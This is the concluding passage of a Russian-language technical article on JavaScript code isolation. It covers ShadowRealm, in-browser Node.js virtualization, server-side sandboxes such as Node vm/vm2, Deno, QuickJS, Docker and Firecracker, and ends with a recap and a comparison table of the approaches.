ShadowRealm не создаёт отдельный процесс и не переносит выполнение в другой поток. Всё выполняется в том же event loop и области памяти, но при этом окружения остаются логически изолированы. Чтобы избежать утечек и разрыва идентичности, спецификация запрещает переносить объекты через границу ShadowRealm.
ShadowRealm позволяет создавать изолированное окружение прямо внутри JavaScript, не переходя в другой процесс и не выделяя отдельный поток исполнения. Код внутри ShadowRealm можно вызывать синхронно и получать результат сразу, без использования промежуточных протоколов коммуникации вроде postMessage. Внутренние встроенные объекты ShadowRealm не пересекаются с объектами основного окружения, благодаря чему невозможно осуществить загрязнение прототипов (prototype pollution). Поскольку ShadowRealm создаётся быстро и почти не требует выделения дополнительных ресурсов, можно поднять множество таких окружений за короткое время. Поэтому он отлично подходит для задач, где нужен чистый JavaScript без доступа к DOM, но с полной изоляцией и не такой тяжёловесный, как традиционные браузерные песочницы на основе <iframe> или воркеров.
Попробовать ShadowRealm в деле можно уже сейчас благодаря неофициальному полифилу shadowrealm-api: https://github.com/ambit-tsai/shadowrealm-api. Однако я не рекомендую использовать его в продакшен коде, так как на настоящий момент его поддержка прекращена.
Виртуализация сред исполнения в браузере
Песочницы на основе <iframe>, воркеров, ShadowRealm и SES изолируют только браузерный JavaScript-код. Этого достаточно для простых сценариев, но что если мы хотим запускать в браузере не просто строку кода, а целые приложения? Возможно ли в рамках браузера запустить целый проект на React, Angular и даже Next.js, разнесённый по нескольким файлам? Или это возможно только на сервере?
Оказывается, что современные браузеры позволяют полностью виртуализировать полноценное окружение Node.js и запускать его локально — всё при помощи WebAssembly. WebAssembly — это низкоуровневый браузерный механизм, который позволяет исполнять модули, написанные на абсолютно разных языках, например, на C++ или Rust и выполнять их с нативной скоростью.
Одним из самых известных примеров такой виртуализации являются WebContainers, созданные для онлайн-редактора StackBlitz. Эта технология запускает полноценное окружение Node.js прямо в браузере, причём полностью локально: без задействования серверов, удалённого выполнения и необходимости устанавливать какие-либо зависимости. WebContainer — это по сути целая операционная система, в которой работает собственная файловая система, модель процессов и даже отдельное событийное ядро. Внутри WebContainer можно запускать dev-сервер, устанавливать зависимости, отлаживать код и работать в условиях, почти не отличимых от локальных. При этом среда полностью изолирована от браузера и лишена доступа к DOM и внутренним объектам страницы.
По сути, браузер становится универсальной средой исполнения: он может запускать изолированный JavaScript в пределах одного окружения (с помощью SES), в разных Realms и агентах (с помощью <iframe>, воркеров и, в будущем, ShadowRealm), исполнять код внутри виртуального Node.js-окружения (реализованного через WebAssembly) и даже позволяет совмещать эти подходы и строить гибридные системы изоляции.
Серверные песочницы
До этого момента мы рассматривали песочницы, которые работают внутри браузера — от <iframe> и воркеров до виртуализации через WebAssembly. Но потребность в изоляции кода не ограничивается фронтендом. На сервере, в облачных IDE и CI/CD-платформах ежедневно запускаются миллионы независимых фрагментов JavaScript, и все они требуют защиты, контроля ресурсов и предсказуемого окружения. Поэтому важно коротко взглянуть на серверные и гибридные песочницы: они решают те же задачи, но на другом уровне — уровне платформы и инфраструктуры.
Node.js VM и библиотека vm2
Node.js предоставляет встроенный модуль vm, позволяющий создавать изолированные контексты исполнения JavaScript:
const vm = require('vm');
const context = { x: 2 };
vm.createContext(context);
vm.runInContext('x += 3', context);
Такой контекст изолирован только логически: код по-прежнему выполняется в том же процессе и использует те же системные ресурсы, что и всё приложение. Поэтому поверх vm появились более защищённые решения вроде vm2. Эта библиотека фильтрует доступ к опасным объектам (process, require, Buffer), ограничивает CPU и память, вводит таймауты на выполнение и перехватывает ошибки.
vm2 активно используют:
в code runner-сервисах и сложных playground-платформах,
в workflow-движках (n8n, Appsmith, Budibase),
в CI/CD-системах, где внутри pipeline запускается пользовательский код.
Но даже vm2 не обеспечивает изоляцию уровня ядра: любая уязвимость в V8 или самой библиотеке означает возможность выхода за рамки песочницы. Поэтому в средах, где запускается полностью недоверенный код, обычно применяют контейнерные и виртуальные окружения.
Deno: встроенная песочница платформенного уровня
Deno — это преемник Node.js, изначально спроектированный с жёсткой моделью безопасности. Любой скрипт в Deno запускается в закрытой среде, и доступ к ресурсам нужно разрешать явно:
deno run --allow-net --allow-read server.ts
Без активных разрешений код будет полностью изолирован от файловой системы, сети, окружения и небезопасных API. Это делает Deno не просто очередным рантаймом, а платформой со встроенной object-capability моделью, где доступ к любой функциональности нужно явно выдавать через соответствующие полномочия.
QuickJS: изоляция на уровне языка
QuickJS — минималистичный интерпретатор JavaScript, созданный Фабрисом Белларом (автором FFmpeg и TinyCC). Он компактен, полностью поддерживает стандарт ECMAScript и часто используется как встроенный движок для IoT-устройств и серверных систем. В отличие от Node или Deno, в QuickJS не реализованы системные API, поэтому по умолчанию код, который в нём исполняется будет изолирован от внешнего мира. QuickJS также часто используют для сценариев, где нужно встроить JS как язык автоматизации — например, в CMS, игровых движках, аналитических платформах и облачных редакторах.
Контейнеры и микро-виртуальные машины: Docker и Firecracker
Когда требуется настоящая физическая изоляция, просто JS-движков недостачно и требуется уровень безопасности отдельных операционных систем:
Docker создаёт контейнеры с собственными процессами, пространством имён и файловой системой. Docker стал стандартным решением для таких code-runner платформ как GitHub Actions, GitLab CI, Replit и CodeSandbox Projects.
Firecracker (AWS) — это микро-виртуальные машины, которые загружаются за миллисекунды и обеспечивают изоляцию уровня ОС при почти нативной производительности. Firecracker лежит в основе AWS Lambda и Fargate.
Docker и Firecracker — это уже не просто JavaScript-песочницы, а полноценные виртуализированные системы исполнения кода с надёжной защитой ресурсов.
Подведём итоги
Итак, если оглянуться на всё то, что мы разобрали в этой статье, то станет совершенно понятно, что изоляция кода в JavaScript — это не одна технология и не один приём, а целый спектр подходов, появившийся как результат многолетнего развития языка и браузеров. У всех подходов к изоляции есть свои границы безопасности, свои сильные стороны и свои компромиссы. При этом они чаще всего не конкурируют между собой, а дополняют друг друга. Очень часто архитектура песочницы должна использовать несколько уровней защиты: изоляцию окружения, контроль разрешений, ограничения доступа к критическим API и строгие протоколы коммуникации.
Мы разобрали особенности браузерных песочниц с самых азов. Давайте вспомним всё, что мы успели обсудить в этой статье и составим карту нашего путешествия:
мы начали с простых встроенных в язык конструкций вроде
eval()иnew Function()и рассмотрели самые базовые способы увеличить безопасность этих методов исполнения произвольного кода;уткнулись в ограничения на уровне языка, а именно в то, что из
eval()иnew Function()легко получить доступ к глобальному объекту и ко всем критическим API браузера;приложили огромное количество усилий, чтобы закрыть все лазейки к глобальному объекту для кода, который исполняется внутри
new Function();разбирались в тонкостях спецификации ECMAScript и познакомились с понятием Realm и Agent;
узнали как построить классическую песочницу на основе
<iframe>;а для песочниц, которым не нужен интерфейс, разобрали архитектуру на основе Web Workers;
познакомились с особыми сценариями, когда удобнее запускать множество песочниц внутри одного Realm;
разобрали подход Secure ECMAScript, который используется даже во встраиваемых устройствах;
узнали про новый стандарт ShadowRealms, который вот-вот должен появиться в браузерах;
рассмотрели виртуализированные среды исполнения JavaScript, которые запускаются прямо в браузере;
и в конце концов дошли до серверных подходов к изоляции.
Эта статья не даёт универсального рецепта того, как построить песочницу, так как его просто не существует. Разные сценарии требуют разных уровней изоляции, разных механизмов защиты и допускают разные компромиссы. Именно такой взгляд позволяет выбрать нужную технологию под именно вашу задачу и построить грамотную архитектуру, которая позволит обеспечить нужный баланс между безопасностью, стабильностью и расширяемостью.
Дальше предлагаю сравнительную таблицу, которой можно пользоваться при выборе той или иной технологии изоляции для ваших задач:
Критерий |
|
|
Web Workers |
SES (Secure ECMAScript) |
ShadowRealm |
QuickJS |
Node vm/vm2 |
Deno |
Docker / Firecracker |
|---|---|---|---|---|---|---|---|---|---|
Уровень изоляции |
по умолчанию отсутствует, но принципиально возможно изолировать код от глобального объекта и критичных API |
архитектурная (отдельный Realm/Agent) |
архитектурная (отдельный поток, Agent) |
логическая изоляция внутри процесса |
отдельный Realm |
виртуальная изоляция движка JS |
логическая, частично инфраструктурная |
платформенная |
инфраструктурная изоляция уровня ОС |
Доступ к DOM |
полный |
полный (можно запретить) |
нет |
нет |
нет |
нет |
нет |
нет |
нет |
Доступ к Web API |
полный, можно ограничивать полномочия |
настраиваемый через |
ограниченный |
только явно выданные полномочия |
нет |
нет |
можно ограничить |
разрешается флагами |
разрешается настройками контейнера |
Разрыв идентичности |
нет |
да |
да |
нет (общие intrinsics) |
да |
да |
нет |
нет |
нет |
Синхронность выполнения |
да |
нет |
нет |
да |
да |
да |
да |
да |
да |
Стоимость создания окружения |
минимальная |
высокая |
средняя |
низкая |
низкая |
низкая |
низкая |
средняя |
высокая |
Масштабируемость (возможность запускать много песочниц) |
плохая |
плохая |
хорошая |
отличная |
отличная |
отличная |
хорошая |
хорошая |
хорошая |
Поддержка браузерами |
везде |
везде |
везде |
доступно через фреймворк Endo |
пока что только через полифилы |
- |
- |
- |
- |
Основные применения |
эксперименты при разработке, не для продакшена |
code playgrounds |
вычисления, трансформации, анализ кода |
плагины, изоляция npm-пакетов |
мини-песочницы без доступа к критичным API |
строго изолированные песочницы JS |
исполнение серверного кода |
исполнение серверного кода |
полная изоляция недоверенного кода, запуск кода в рамках IDE |
Степень защиты |
очень низкая |
высокая |
высокая |
высокая |
высокая |
высокая |
средняя |
очень высокая |
максимальная |
Вместо заключения
Спасибо, что дочитали статью и уделили внимание такой объёмной теме. Надеюсь, что это руководство поможет вам начать лучше ориентироваться в устройстве JavaScript-песочниц, понимать ограничения разных подходов и принимать более взвешенные архитектурные решения в своих проектах.
Если вы нашли в тексте ошибки или неточности, прошу писать мне в личку или прямо в комментариях к этой статье.
Также приглашаю вас подписаться на мой телеграм-канал: https://t.me/alexgriss , где я пишу о фронтенде, архитектуре, UX/UI, продакт-мышлении, стартапах и лидерстве, а так же о том, как оставаться собой в профессии и создавать то, что имеет значение. Там же я выкладываю новости о разработке моего пет-проекта Web Audio Lab — интерактивной образовательной платформы для изучения Web Audio API и принципов обработки и синтеза цифрового звука, в которой я активно применяю идеи, описанные в этой статье.